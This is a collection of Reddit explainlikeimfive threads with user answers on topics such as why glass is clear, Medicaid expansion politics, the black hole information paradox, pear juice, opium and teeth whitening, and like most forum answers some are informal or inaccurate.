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"Glass is actually very slightly green.\n\nAs for why it's *clear*: photons are the carrier particle for the electromagnetic force. When electrons fall from an energized higher orbit around an atomic nucleus to a lower orbit, that extra energy has to go somewhere, and it's released as a photon. The wavelength of the photon depends on the relative drop: falling from a very energized state to the ground state makes a very energetic, low wavelength photon. Small drops make less energetic photons.\n\nPhotons are absorbed by electrons, which then become energized themselves and move into a higher orbit around their nuclei. However, electrons must be in a specific level around their nuclei. There are no fractions of orbits, they have to go all the way or not at all. And they can't go into shells that are full - most shells can only hold eight electrons, and if the shell already has eight, a lower electron must skip that shell and go to the next empty one. If the photon doesn't carry enough energy to energize the electron *all the way* to the next empty orbital shell, it **cannot** be absorbed by that electron. Again, it's all or nothing.\n\nThe molecular structure of glass is such that most of the shells are full, and the only available empty shells are high enough that photons that have wavelengths in the visible spectrum aren't energetic enough to move any electrons in the glass into a higher orbital shell. So the electrons can't absorb the photons, so they pass through...mostly.\n\nGlass isn't perfectly pure, and some of the molecules fall apart, leaving an open electron orbital. So *most* of the light passes through, but as I said, even very clear glass is usually *very slightly* green."
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1x3ihz | why any state would want to turn down the medicaid expansion funding offered under obamacare. is it a strictly political decision? i have found this issue directly effects me in oklahoma and i do not understand republican reasoning behind the decision. | Explained. I have a better understanding of why one might argue against accepting the expansion. Thanks for all the great responses. | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1x3ihz/eli5_why_any_state_would_want_to_turn_down_the/ | {
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"My understanding is that the republicans think that the federal funding for the expansion will but cut in the future therefore leaving states with the bill to pay. The feds are paying for it for the first many years, after that, there is no promise to pay from the feds\n",
"From my understanding, in Iowa at least, the reason they're afraid to take the money is because they're nervous that the governmental funding for it will eventually stop and they'll be left to foot the bill. Which I believe the funding on the last for 3 years for total coverage and then it drops off. I could be wrong about the three-year thing though.",
"If its guaranteed for so many years should our legislators be doing their job and finding a way to guarantee the program when and if the funding stops? We have a rainy day fund of 500 million in oklahoma that basically is never touched. If we can come up with a half a billion dollars to sit on can we not find ways to fund a health care program. It seems to me it's just the Republican way of trying to make this plan a failure instead of actually implementing something that may benefit it's citizens.",
"Here are the specifics of the Federal funding. Please note that it *never* goes less than 90% for those added to the rolls due to ObamaCare:\n\n > Specifically, the federal government will, for the first three years (2014-2016), assume 100 percent of the costs of covering those made newly eligible by the health reform law.[6] Federal support will then phase down slightly over the following several years (95 percent in 2017, 94 percent in 2018, and 93 percent in 2019). By 2020 and for all subsequent years, the federal government will pay 90 percent of the costs of covering these individuals. \n\nThat comes from this very informative link: _URL_0_\n\nThat is a very informative link all-around. It does cost the states some money, but they get a healthier workforce for that money which might easily pay that back. The one apparently legitimate concern is that the Fed only pays this for those who are eligible specifically due to ObamaCare. For those who were already eligible but didn't know it (who might be more motivated to get it now) the States still pay a decent chunk. This has been factored into most of the calculations, but some states might see a bigger effect here than others. ",
"I don't think it's because they don't want the advantages of it. It's probably because (not trying to start an argument here) they believe the cons outweigh the pros on Obamacare and therefore will not support it in any way. It would be hypocritical to take the funds yet still oppose the bill.",
"I think that the explicit rationale is as what several people have already explained: it's because these governors are worried that at some point a portion of the Medicaid funding will be cut off.\n\nBut that is just an excuse, because in the big picture, the whole point of being an elected politician is to represent the best interests of his or her constituents in allocating tax dollars (or other forms of government revenues, like duties). What the Republican governors implicitly are saying very clearly is that they would prefer no expansion of Medicaid over an expansion of Medicaid which might require them to cut other programs (or to raise taxes). So that means that they think [whatever name a state program] is more important than the health and well-being of its poorest and most helpless citizens.\n\nThere's been a lot of stuff in the press about how the Republican governors are doing this to try to limit the effectiveness of the Affordable Care Act, and I guess that's a possible interpretation (and it might even be supported by the facts). However, I think that practically, if I were a Republican governor, I would see this as a win-win for me: I get free publicity because I'm standing up to Obama and the Affordable Care Act, and the feds have to step in to set up an exchange for my citizens. The only downside to this position is that the state doesn't get more Medicaid funding.",
"There are several reasons why a state would choose not to expand medical welfare. Some of the reasons are unique to a given state. Here are some reasons folks in Maine are skeptical of expanding Medicaid (known here as MaineCare):\n\n1.) We already expanded Medicaid eligibility in 2001-2002. Supporters of the move said it would reduce uncompensated care offered by hospitals and reduce the uninsured population. Roughly a decade later, we know that the uninsured population remained flat and uncompensated care increased. The first Medicaid expansion did not accomplish its proponents' goals. Doing the same thing and expecting different results is insane. \n\n2.) Medicaid expansion, rather than cover the uninsured, tends to bring people from private insurance to Medicaid. This is known as the \"wood work effect.\" In Maine, we saw a 12% increase in Medicaid enrollment following our first expansion and a 12% drop in private insurance enrollment (Source: U.S. Census numbers). Arizona saw the same effect after their expansion. Both states' experience with expanding Medicaid suggests that, rather than only helping the uninsured, we're, in many instances, providing taxpayer-funded, no-copay, no-deductible care to people who previously paid for their own care.\n\n3.) Medicaid currently consumes 25% of Maine's budget. This crowds out funding for things like education, infrastructure, and public safety.\n\n4.) In Maine, a 1% reduction in the FMAP (the rate at which the feds reimburse hospitals for Medicaid-funded services) would mean a $25 million loss of funding for the state. There is a very real risk that the federal government does not keep its promised funding level. (Remember: If you like your plan, you can keep it. Well, if you like your federal funding, you can keep that, too.) \n\n5.) In Maine, Gov. LePage just secured a payment to Maine's hospitals of $750 million. That was an outstanding debt left over from previous administrations caused singularly by unpaid Medicaid bills. The program is dysfunctional and is cannibalizing the rest of our budget. \n\n6.) Expansion is NOT 100% federally funded. There is a HUGE cost to Maine taxpayers. Our reimbursement rate is reduced due to previous expansions, and the federal gov't does not pay for administrative costs, i.e. the 90+ new employees DHHS will have to hire. Over the next ten years, expansion would cost Maine's General Fund $800 million +. (And that's a conservative estimate, which assumes the feds don't reduce their funding rate.)\n\n7.) Beyond all of the logical, common sense, non-partisan reasons not to expand Medicaid, there is also the cultural argument: If Maine expands Medicaid, we'll have 45-50% of our population on welfare (i.e. getting free medical care). That's not a sustainable arrangement. \n\n(source: Pine Tree State policy wonk)\n(Disclosure: Not an Obama-worshipping progressive) ",
"I laughed when I saw the phrase \"Republican reasoning\".",
"YEP.\n\nPure Fucking Politics.\n\nthats it.\n\nI'm in Ohio, who voted for OBama twice, but has a Pure GOP legislature.\nThe Repub Governor wanted the expansion and included it in his budget, b/c he realized the Money would just get sent to another state if we didnt use it to cover our Poor.\nbut the GOP Legislature didnt want anything to do with it b/c it had \"Obama\" in it, so they stopped the expansion and took it out of the budget.\nAt the last second our Govenor over-ruled them and used some last minute loophole to push the Expansion pass them and now they are threatening to sue to stop it, although it has ALREADY been enacted.\nHOWEVER Democrat groups here in Ohio had already anticipated it not being enacted so they collected enough petition signatures to put it on the ballot next year and Force it to be enacted, and now they are telling the Repubs who are trying to revoke it that they will put it on the Ballot and thus Drive heavy democrat turn-out next year which could cost Republican seats in the House and in the Legislature.\nSooooo suddenly the GOP here in the state got real quiet...\n\nPolitics that's it. dont be fooled",
"Feds pay initially, then the states pay more.\n\nIts like pointing out a cable company will give me service for $19/month, but only for the first month. Then the cost skyrockets.\n\nIts not that great of a deal, and it costs billions in the long run.",
"I don't hold this position, so apparently telling me to do something isn't useful[.](_URL_0_)"
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19nfsf | why in modern us history is a non-incumbent not given more than one chance at the presidency? | Aren't there any candidates so solid that they can be put up for a rematch? Wouldn't they have a better chance the second time? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/19nfsf/eli5_why_in_modern_us_history_is_a_nonincumbent/ | {
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"it hard to sell the same thing twice.",
"\"You lost us the last election\" is a pretty devastating counterargument in the primaries.",
"If they were solid they would have won.",
"This isn't necessarily true, just very rarely happens. For instance, Nixon lost to JFK in the 1960 elections, but came back and won the presidency in 1968 after a position as governor of California. ",
"Nixon lost to JFK and then came back to win 2 elections after Lyndon Johnson decided not run. If you go even further back, Grover Cleveland (the incumbent) lost to Benjamin Harrison. Then he came back and won the next election, giving him 2 non-consecutive terms.\n\nOftentimes when a candidate loses an election, the party realizes what they did wrong and picks a different candidate with different ideas. For example, Mitt Romney lost big with Latino voters because of his immigration views. If he comes back in 2016 and says he's all for immigration, people would see him as a total flip flopper."
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s53iw | {li5} what does the ''information'' that is supposedly lost, when matter enters a black hole, consist of? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/s53iw/li5_what_does_the_information_that_is_supposedly/ | {
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"Information can be loosely thought of as \"a characteristic that can be used to distinguish a thing from another\". Once we begin with that definition, we can start to quantize information along the lines of things being in different states. For instance, if you flip a coin, it can land heads up or tails up. If that's all we're able to know about the coin's state, then we only have one bit of information that allows us to distinguish that coin from another coin or itself at a different time. (Come back later and see the coin in the same state...has it been been flipped again? We don't know. But come back and see it in a different state, then we know it's been flipped at least once while we were gone.)\n\nLet's consider mass for a moment. What is mass? You can look at two things and kind of guess which one has more mass because it seems to scale with size...but not always. A tiny bit of gold can have more mass than a relatively giant balloon. So think about it...what is mass?\n\nMass is resistance to acceleration. Well that's a weird definition, isn't it? It doesn't seem to have anything to do with what a thing is made of or how many atoms, etc, etc. Yet that's what mass is. In a sense, then, mass is an abstract concept. You can't really think of a thing \"actually\" having mass in between moments when it's being accelerated, can you? Except, we know that mass is a persistent quality of matter that doesn't seem to change in between bouts of acceleration, and we kind of have a visceral physical sense of what it is, so it's ok. We accept that mass is a \"real thing\". Really, though, it's just an abstraction we invented that describes a property of a thing which, under certain circumstances, is invariant.\n\nInformation is the same. It's a \"real\" thing in that it's an abstract concept that is a characteristic of a thing that seems to be invariant under certain circumstances. Since it is invariant and conserved–just like mass, but in different contexts and under different conditions–when those contexts and conditions apply we have conservation of information and we can use it to calculate.\n\nAlso, in reference to your question, I've never heard that information is actually lost when something falls into a black hole. It is merely distributed evenly over the event horizon, as far as I know.",
"So to start with, let's explain why the idea that information would be \"lost\" would be a problem. Imagine that you have a perfect picture of the universe at a given time, right down to the level of subatomic particles. Then there is a principle in quantum mechanics that says that, starting from this picture, you can (in theory) \"run the universe backward.\" It's like saying that if you take a screenshot of one point in a DVD, you can use that to reconstruct the entire movie in just one way.\n\nNow, I'll assume you know that everything in the universe is made up of tiny particles. These particles have properties, like mass and electric charge, that are fundamental, but they also have other properties, like spin, which are not. To simplify, we'll pretend that every subatomic particle has a letter (between A and Z) written on it.\n\nNow, let's talk about black holes. As you probably know, black holes are \"so heavy that light can't escape from them.\" What's more important is that, for a long time, nobody thought *anything* that fell into a black hole could come back. In addition, there's a famous theorem, called the \"no hair theorem,\" that says that any two black holes with the same mass, the same electric charge, and the same spin, look exactly the same. (In other words, black holes don't have different \"hairstyles.\")\n\nNow for the key point. Let's take a particle. We have two choices: we can either write \"A\" on it and throw it into the black hole, or we can write \"Z\" on it and throw it into the black hole. \n\nNow by the no hair theorem, the black hole will look exactly the same afterwards no matter which we do. So if we take a picture of the universe after we throw the particle in the hole, the picture looks exactly the same no matter which letter we wrote on the particle. And therefore, we can't \"rewind the universe\" to before the particle went into the black hole, to see what was written on it! This is (a very simplified version of) the black hole information paradox."
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3gsqc3 | why does the burn from hot peppers feel like it goes down in your body and the burn from wasabi goes up into your nose. | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/3gsqc3/eli5_why_does_the_burn_from_hot_peppers_feel_like/ | {
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"Hot peppers and wasabi affect your olfactory system differently. \n\nHorseradish and wasabi are both made from the roots of plants in the cabbage family: Armoracia rusticana and Wasabia japonica, respectively. When the cells in these roots are ruptured—if they're chopped or chewed, for example—they release a compound called allyl isothiocyanate. As well as having a very pungent taste, this chemical is what irritates your nose and eyes.\n\nAs we eat wasabi or horseradish, allyl isothiocyanate vapors travel through the back of the mouth and up into the nasal cavity. This triggers a nerve response in the nose and sinuses.\n\nHot peppers, on the other had, contain capsaicin. Capsaicin is an irritant for mammals, including humans, and produces a sensation of burning in any tissue with which it comes into contact. Capsaicin binds with certain sensory neurons which then more or less trick your body into thinking that it is being burned or at least experiencing excessive amounts of heat in the area that the capsaicin comes in contact with, even though no actual physical burning is taking place."
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1o2eyp | what happens if you pee in space? | i've seen the video where Chris hadfield explained what happens if you cry in space but then it just came to my mind of what will happen if pee in space? i know there is a special toilet there, but i still understand how can they it properly in space. | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1o2eyp/eli5what_happens_if_you_pee_in_space/ | {
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"on the ISS, it's ... basically a vacuum cleaner tube. ",
"The space toilet has a vacuum with a male and female cup . As they pee it is sucked away.\n\n\n\nIf they didn't they would creat a stream of droplets that would float all over.\n\n\n\nIn space suites they where adult diapers, just in case because they are stuck in the suites for hours.",
"They essentially pee into a tube that has suction to draw the urine away. "
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1w7sd6 | why are stephen hawking's opinions and theories so respected? | Of course, I realize that Hawking is on the top tier in terms of intelligence, but what specifically gives him so much attention from scientists and ordinary people alike? What has he specifically done that earns him so much respect? (And I'm really hoping it's not because he's in a wheel char) | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1w7sd6/eli5_why_are_stephen_hawkings_opinions_and/ | {
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"I imagine the fact that he's been capable of such results despite being unable to even write does add something to the respect he's accorded. But he is a brilliant physicist, one of the best in history, and because of his distinctive appearance and voice he makes a very easy to remember/notice spokesperson for the field. He's in the same family as people like Neil DeGrasse Tyson or Bill Nye as sort of a public face for science."
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1iu0hx | why can my new diesel 2012 vw get its oil changed every 10k miles, when i needed to change my '98 trans am every 3k miles? | I double-checked with the dealer today -- once a year or 10K miles! What's changed? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1iu0hx/eli5_why_can_my_new_diesel_2012_vw_get_its_oil/ | {
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"You don't need to change every 3K miles, for a car like that its more like 6-7K. For the new diesel car, the motor is more efficient and works a bit different so changing every 8K-12K (depending on the specific car) is more realistic. Some diesels can even go up to 15K! ",
"Your Trans Am doesn't really need it every 3k miles. That was perpetuated for a long time to, well, sell more oil changes. Every 5k is probably fine. And newer engines are better sealed and don't shave so many metal bits into the oil, so the oil can last longer."
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9am9ce | if, physically speaking, colors are lightwaves that are reflected by the things we see, how does color mixing (as seen in ink, for example) work? what changes in order to create a new tone? also, why do some colors, when mixed, result in more distinct colors than others? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/9am9ce/eli5_if_physically_speaking_colors_are_lightwaves/ | {
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"Your premise is wrong: Colors are not light waves reflected by the things we see.\n\nColor is the sensation produced by our eyes detecting light waves. We have four different kinds of light-detecting cells in our eyes; rod cells which are sensitive to light broadly across all wavelengths and three different kinds of cone cells which respond most strongly toward three different frequencies of light. Those cone cells are what allow us to determine color.\n\nLight of a given frequency will trigger the different kinds of cone cells different amounts. The \"S\" type of cone cell is most stimulated by blue light, \"M\" by green, and \"L\" by red light. If for example a wavelength of light between blue and green is detected then it will trigger the M and S cells moderately with L hardly at all. The resulting sensation is the color cyan.\n\nBecause the sensation is determined by the collective strength of the stimulation of the cone cells it doesn't matter if this is caused by a single wavelength of light or many different wavelengths and intensities which collectively result in the same sum of cone cell activation. This is what computer screens do for example: By varying the intensity of red, green, and blue light sources placed so close together the viewer cannot distinguish them, any desired color can be produced. Color mixing with subtractive colors works in a similar method in that the dyes absorb wavelengths of light to varying degrees leaving a reflected mix of waves that sum to the perceived color.\n\nBonus edit: This is also how colors can exist that cannot be produced with a single wavelength of light. Blue light has a short wavelength and red light has a long wavelength with green light being between them. So what happens if the eye has the red cones and the blue cones stimulated but not the green cones? We see the color \"magenta\", but of course this could never be produced by a single wavelength of light. This is why magenta cannot be part of the rainbow.",
"To add to Phage0070's excellent comment here's some more info on how substances (like ink) can mix to create new colours.\n\n\"White\" light contains a mix of all wavelengths of light (this can vary depending on the source but that's not what write talking about). When you see an object you see a mix of reflected light that contains different wavelengths. Different objects absorb different wavelengths of light, for instance a red object will absorb green and blue (and all other) wavelengths of light. This is used by inks to create a range of colours. Cyan, yellow and magenta inks will absorb red, blue and green light respectively, they will \"subtract\" that colour from the reflected light. So if you mixed yellow and cyan inks the result would appear green because it absorbs the red and blue wavelengths of light. This is called subtractive colour mixing. You can then vary the amount of different inks used to vary the wavelengths I the reflected light.",
"Someone tell him about purple.\n\nIt's my favorite thing.\n\nOk I'll go. Because red and blue are on opposite ends of the spectrum, there's no actual color there that we can see when those two mix, so our brain invented purple as the color those two make. When blue and red cones activate together, the result is pure mental invention. \n\nAnd thus the reasoning behind my favorite color. It's imaginary."
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2qs4wc | orange juice, grape juice, apple juice ... why not pear juice? | Pears are a nice flavorful fruit. Just as nice as orange, grape or apple. Why do grocery stores not have pear juice? Is there something about the process of making it that would make it unpopular or prohibitively expensive compared to other fruit juices? Or has a process not been invented for pears?
Or is this just an American thing? I'm in the USA. Is pear juice popular anywhere in the world?
Also jams and jellies and other fruit products we don't normally see in a pear variety. | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/2qs4wc/eli5_orange_juice_grape_juice_apple_juice_why_not/ | {
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"You can find it in supermarkets in Serbia, and it's awesome. I'm guessing it's not that common in US. ",
"The European Fruit and Vegetable Union(EFVU), which was founded in 1946, declared that pears from Italy and France were not to be turned into juice because of the war torn regions they were. All juice processing pants were to be converted into something to help in the rebuilding process. This was a blow to the pear juice industry because the largest supplier of pear juice was that region. The ban has since been lifted, but it never really recovered.",
"If you live in an area with even a moderate Hispanic population you can find Pear Nectar at Walmart. Jumex bruh, jumex.",
"Pear juice is the most common filler juice in most juice cocktails."
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devsnh | when a microbe dies (heat, other causes,) what happens to its body? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/devsnh/eli5_when_a_microbe_dies_heat_other_causes_what/ | {
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"The cell membrane breaks and its \"insides\" leak out. Most likely to be consumed by another microbe.\n\nEDIT: Also the dead microbe somewhat starts to digest itself since digestive substances will no longer be contained within cell organs",
"When it dies, it's guts spill out and other microbes come in and gobble them up. Also, some things can live in the leftover skeletons, which is cool. Whatever is leftover will drift downward until something finds it and uses it for something.",
"Depends on how it died. Was it lysed? If so, it's membrane burst open and the insides got spilled, which get internalized and digested hy other organisms. Was it killed by alcohol? It aggregated, because the fluid left the cell, so it's just a bunch of aggregates that also eventually dissociate and get eaten by other organisms. Heat? Like proteins got denatured and so aggregated, and also the membrane lysed releasing those aggregates. Was killed in a lysosome of a eukaryotic cell with acid? It was broken down chemically and it's constituents recycled and eaten. There's a million ways to die, including radiation, metabolic poisoning, replication toxins, etc etc. But the common theme is eventually the insides are dispersed and eaten by another."
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cenu5b | why does drinking chilled water help you breathe freely after extreme cardio? | As a background, I'm a reasonably healthy dude, can run 5km in 23 min etc. I got to the bus stop, just having missed my bus, then had to run to the next, then the next before I could get on.
25 minutes later as I got off the bus, I still wasn't breathing freely. I got home, had half a class of chilled water and came right.
Why? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/cenu5b/eli5_why_does_drinking_chilled_water_help_you/ | {
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"Well, let’s establish a couple things off the bat. Cold water does *not* hydrate you more than other water and does *not* directly change your overall body temperature.\n\nNow, here’s the weird bit. The refreshing feeling you get from drinking cold water actually has nothing to do with your body “liking it more.” Instead, it has to do with how your brain interprets it.\n\nCells are delivered water through the bloodstream, which means that it can take a while for water to begin helping. Therefore, when you drink warm or room temperature water, it is not immediately refreshing to your body.\n\nWhen you drink cold water, however, your brain knows exactly what is coming. It knows that your cells are about to get the water they desire. It responds positively to this. Something about the coolness of cold water makes our brain respond positively immediately.\n\nThat thing is homeostasis. Our body is constantly trying to maintain a good, happy state. Since you’ve just worked out, your body temperature is slightly higher than normal, and your body is working hard to bring it back down. A glass of cold water in your warmer than normal conditions is a godsend to your body, thus why it responds positively immediately.\n\nWhen you drink room temperature or warm water, your brain will *eventually* send you this stimuli, but it will take longer than cold water.\n\nConversely, if you lived in a very cold place and your body temperature was lower than normal, your body would react similarly to warm water."
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1kuqt3 | why do some countries like japan, germany, spain, etc. have negative population growth while others (e.g. america) have slow population growth and still others (like african countries) have fast population growth? | I understand that education plays a role in developing countries where women aren't as educated and birth control is not as available, but what caused many Western European countries to slow their growth so much that it became negative? And if population growth is such a problem, why can't other first world countries follow the example of Western Europe and slow down their population growth? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1kuqt3/why_do_some_countries_like_japan_germany_spain/ | {
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"In poor countries, people have a ton of kids because they can bring in money, and they're the only way you're getting cared for in your old age (and as you mention, education and birth control may be minimal). \n\nAs the middle class in a country grows, people start becoming more financially secure, women get more education and may enter the work force, making enough money to pay for care for a few children when they're not at school.\n\nAs a country grows even more wealthy, women may have long term careers that pay as much or more than men, and may choose to take time off only for 1-2 children.\n\nIt's a well documented demographic transition, and it has everything to do with money, education, and women's opportunities."
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3jz5tg | why is every sink i've ever used at least 12 inches in diameter, yet the facet is still just inches away from the side? | There just never seems like there's enough room to actually wash my hands. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/3jz5tg/eli5_why_is_every_sink_ive_ever_used_at_least_12/ | {
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"You can get [long faucets](_URL_0_) that stick out to the middle, but those cost slightly more so the default is the shorter type, and for cheap public restrooms/hotels the default is the type that's so short it dribbles directly onto the side of the sink.",
"There is a standard that states all sinks made after the 1993 release of Jurassic Park shall be T-rex proof.",
"THIS. I get so sick of taps that make it impossible to wash my hands without touching the sink. In my entire life I have never thought \"I want to put something huge in the sink, I wish the tap were not in the way.\" Never going to happen."
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dvq28s | how are products registered into a stores "inventory"? | How do stores register all products that enter them? Like when a grocery store receives a pallet of a certain product, how do they register all of the products in the pallet into their system so that they aren't confused with similar products bought elsewhere? Say like if you have a soda with you into a store that you've bought somewhere else. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/dvq28s/eli5_how_are_products_registered_into_a_stores/ | {
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"Stores usually have a computer system that keeps track of how many items they have in their possession; when something is scanned at checkout, the scan subtracts one from the system.\n\nThere is nothing on or in a soda that tells you whether or not it \"belongs\" to the store. If you bring a soda into the store, and the store carries that soda, the staff will either assume you already own the soda (perhaps because they saw you walk in with it) or ask you to pay for it, in which case you tell them you walked in with it.",
"Normally a portable scanner (or handheld) is used to scan in all the boxes (the info is prepoulated so scanning in one box of xyz adds x amount of xyz to inventory) or pallets coming in. The reverse happens when scanning them out for buyers. The store staff will not be able to receive foreign stock as the barcode will not be recognized by their system, but depending on authorization, may manually enter it after scanning",
"There is no one way, and a single store will receive in multiple ways depending on where the merchandise is from.\n\nIf a company is large enough to have its own Distribution centers, then all product coming from the DC is usually assigned to an Advanced Shipping Notice container as it is gathered to be shipped. An ASN container can be a box, a pallet, or a whole truck. Once the DC tells their computer that the ASN is in transit, and the store accepts the ASN all product assigned to it leaves the DC’s inventory and is added to the store’s.\n\nSome companies verify each item individually. Either with a paper checklist, or by scanning the UPC in every product they receive.\n\nWhen product is arriving directly from an outside vendor, most places use a receiving software that the purchaser has already entered a purchase order into, including a list of what product is on that order. The person receiving the order will generally count the product they received, and tell the software that it is now in inventory.\n\nThere are several more special cases, but those are all the systems I can think of that are used on a daily basis.",
" Stores receive product in their dock by employees. The delivery driver has a manifest of what he's delivering. He offloads X amount of product Y. He and store receiving employee sign a receipt to record the transfer. The receiving employee then registers the product onto the store's books as inventory received\n\nAll of this is common process. Whether done on computer, or a preprinted paper form, or just written down in a line ledger.",
"Stores don't register individual products they record inventory. For example they record that they received 10 Galaxy S10 phones, and then when they sell one they deducted one from inventory, but don't record individual serial numbers.\n\nInventory control is a very big issue for retail stores like Home Depot or Wal-Mart and sometimes they will hire an outside auditing company to audit their current inventory and reconcile it against their inventory control system. If you ever see little tags on the shelves with counts on them then you know that the store just did inventory."
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4ravj9 | why did we stop using opium as a pain killer? | is it less safe, or just less effective? | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/4ravj9/eli5_why_did_we_stop_using_opium_as_a_pain_killer/ | {
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"Opiates are some of the most abused drugs in civilized society. Doctors prescribe them all the time. Opiates are basically a pill form of opium.",
"Opium is refined to morphine which is a better painkiller. Morphine is refined to heroin which is a better painkiller again.\n\nTherefore there is no need for opium as a painkiller",
"We refined it into morphine, and heroine which are better pain killers. So in a way we do still use it, just in a better form. ",
"There's a class of medications called 'opiates' that act like opium or that are related to opium.",
"A lot of incorrect answers here...\n\nWe don't regularly use opium in a clinical setting for the same reason we don't really use most plant matter.\n\nOpium is the died latex obtained from scoring opium poppies, and thus contains variable ammounts of morphine, codeine, thebaine and other alkaloids and terpenes.\n\nWith the opioids, a class of drugs where the risks of overdose are very real (and the consequences very serious) it's important to know exactly how much you're giving the patient per unit dose, so you are able to ensure you are not putting the patient at risk of falls/respiratory depression etc.\n\nEqually important, opium is a complex natural substance, and is thereforevery easy to contaminatinate with impurites. Intentionally or unintentionally."
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3t4ocj | why are beauty pageants only ever for unmarried women? | MISS World, MISS Universe etc
If a married woman gets divorced does she become eligible again? I've noticed that the winners of these things are never joined onstage by their kids, which would be a nice touch.
Anyway, it's the 21st Century so why and how have they dared to resist the inclusive move from Miss to Ms | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/3t4ocj/eli5_why_are_beauty_pageants_only_ever_for/ | {
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"There are Mrs. competitions: Mrs. America, Mrs. Universe, etc. They just don't have nearly the same publicity. The Miss contests are older and have much more money, sponsorships, and tv deals. Mrs. Universe, for example, tends to focus on women who have both a family and a career, and are involved in cause. The current Mrs. Universe is a First Nations Canadian.\n\nThe argument for only unmarried women in the Miss competitions, I imagine, would probably be that they are \"scholarship competitions\" for college-aged women. \n\nBecause clearly a married woman would be far to busy cleaning and cooking to spend time with frivolous things like learning. And it would definitely been disrespectful to her husband if she paraded about on a stage in her swimsuit to be judged."
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29mj2j | how can companies/products like dr. bronner's, nature's path cereal, trader joe's hemp protein powder, hemp milks, and others produce and sell consumable hemp products in the us? | I've never understood how these products are widely available. Has it been legal to grow hemp (tall cannabis plants) in the US if not for drug use? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/29mj2j/eli5_how_can_companiesproducts_like_dr_bronners/ | {
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"I run a hemp soap company so I'm actually pretty well versed in this field.\n\nHemp is a very close relative of psychoactive Cannabis, however industrial hemp does not contain any (or less than 0.2%, to be exact) THC and therefore is free to use.\n\nCurrently in the US it is quite difficult to get a permit to grow hemp so most hemp products in the US are made of hemp imported from Canada or other countries.\n\nThe federal government has an interesting stance on hemp. While it cannot be grown (that is changing in CO and WA with the new Cannabis laws) it is free to use *once grown*. So while I can import hemp seed *oil* for making my soaps, I will run into problems if I try to import hemp *seeds* to grow hemp. "
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31m5xd | what affects the color of my teeth the most? can excessive black tea drinking prevent them from getting white, even though i am using whitening tooth paste? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/31m5xd/eli5_what_affects_the_color_of_my_teeth_the_most/ | {
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"Any food with any sort of dye in it can stain your teeth. Just like very acidic foods can eat away at your enamel. \n\nFor Halloween a while ago, I had to use fake blood in my mouth. It stained my teeth pretty bad. Even after 2 weeks, my teeth were still a shade of dark pink. I went to the dentist and he cleaned my teeth and whitened them. Good as new.\n\nSo basically, even if the black tea will stain your teeth, a competent dentist can reverse that.",
"I'm using whitening gel from my dentist. He mentioned this great piece of advice for avoiding things that will ruin my newly whitened teeth. \n\n\"If it stains a kitchen counter top, it's going to stain your teeth\" \n\nLike curries, black teas, red wine etc, if you spill these on a kitchen surface and try to wipe it up it will leave a stain on the counter. It will also stain your teeth. ",
"Hey I'm a dentist. Yes, staining foods like mentioned above (tea, coffee, curries, food colourings etc) can all stain teeth. Some stains are deeper than others and can stain filling you may have at the front of your mouth. I'd recommend you see your dentist for whitening gels and trays which may help staining. ",
"Genetics affect the color of your teeth the most.",
"What is the point of having white teeth besides aesthetics?",
"Someone should mention that teeth are naturally off white and stained. That's normal. No one naturally has white teeth. White teeth are cosmetically enhanced. If that's what you're looking for, then fine, but know that it is an unnatural cosmetic enhancement. ",
"additionally when you see no success from using dental grade whitening everything and you consume zero staining foods; it could be some of the prescriptions you take that cause staining. That is the case I am in and my off white color is kinda on the orange side. It's really annoying after spending all that money and not seeing results",
"Be careful of what kinds of whitening products you use. I RUINED the enamel of my front teeth with a $30 otc whitening system. Ask your dentist and don't comprise to the cheapest option. Do what's best for your teeth and dietary lifestyle ",
"Haha, yup! I drink 5-6 cups a day, and my dentist assures me that I will never have white teeth, ever. If it bothers you, just come live in the UK!",
"PSA: I've been reading the threads and I just wanted clear up some common misconceptions being stated:\n\n* Bleaching does **not** physically \"strip\" the enamel layer off your teeth. \n* Some people find that after whitening tray use, their teeth appear \"blotchy\", with white spots. That may be caused by the presence of having fillings on the tooth. Unsurprisingly, restorative material does not react the same way as tooth material. Additionally, the enamel layer is translucent, and if the bleach material is unevenly applied, it may bleach the underlying dentin layer unevenly, producing the blotchy appearance.\n* Some people find their teeth sensitive after whitening. That does not mean that your enamel is being stripped away. Lots of people experience sensitivity. This is often a side effect of the bleach as the peroxide diffuses through the tooth structure causing a rise in the enamel interprismatic spaces (think about when you bite into ice cream and your teeth are sensitive - same mechanism).\n* Additional sensitivity is often attributed to bleach on the gums, which probably aren't flossed, hence more prone to sensitivity issues.\n\nSource: I'm a dentist. ",
"Many times, patients ask me how they come their teeth don't look whiter after using whitening trays. They acknowledge that their teeth look a few shades lighter but not as white as they'd like. When I ask them \"How white did you think they would be\" they often name a celebrity's teeth. \n\n**FACT:** Many celebrities with \"perfect white teeth\" are wearing VENEERS. They're like press-on fingernails for your teeth. Do not expect OTC strips or the 300$ custom whitening tray from your dentist to match that of a thousand-of-dollars cosmetic treatment plan. \n\nSource: I'm a dentist."
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3bxmt9 | why is the middle finger the curse finger | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/3bxmt9/eli5why_is_the_middle_finger_the_curse_finger/ | {
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"One theory that I've heard is that during the middle ages, when they would capture an archer, they would cut off his middle finger so that he cannot shoot a bow anymore. Archers began to flip the bird to show they hadn't been captured yet. Just what I've heard",
"_URL_0_ \n\nWikipedia says it originated in Ancient Greece and it's meant to look like a dick and balls. It's like saying \"I'm gonna fuck you with this finger.\" \n\nThe archer etymology (gesturology? I dunno) is false."
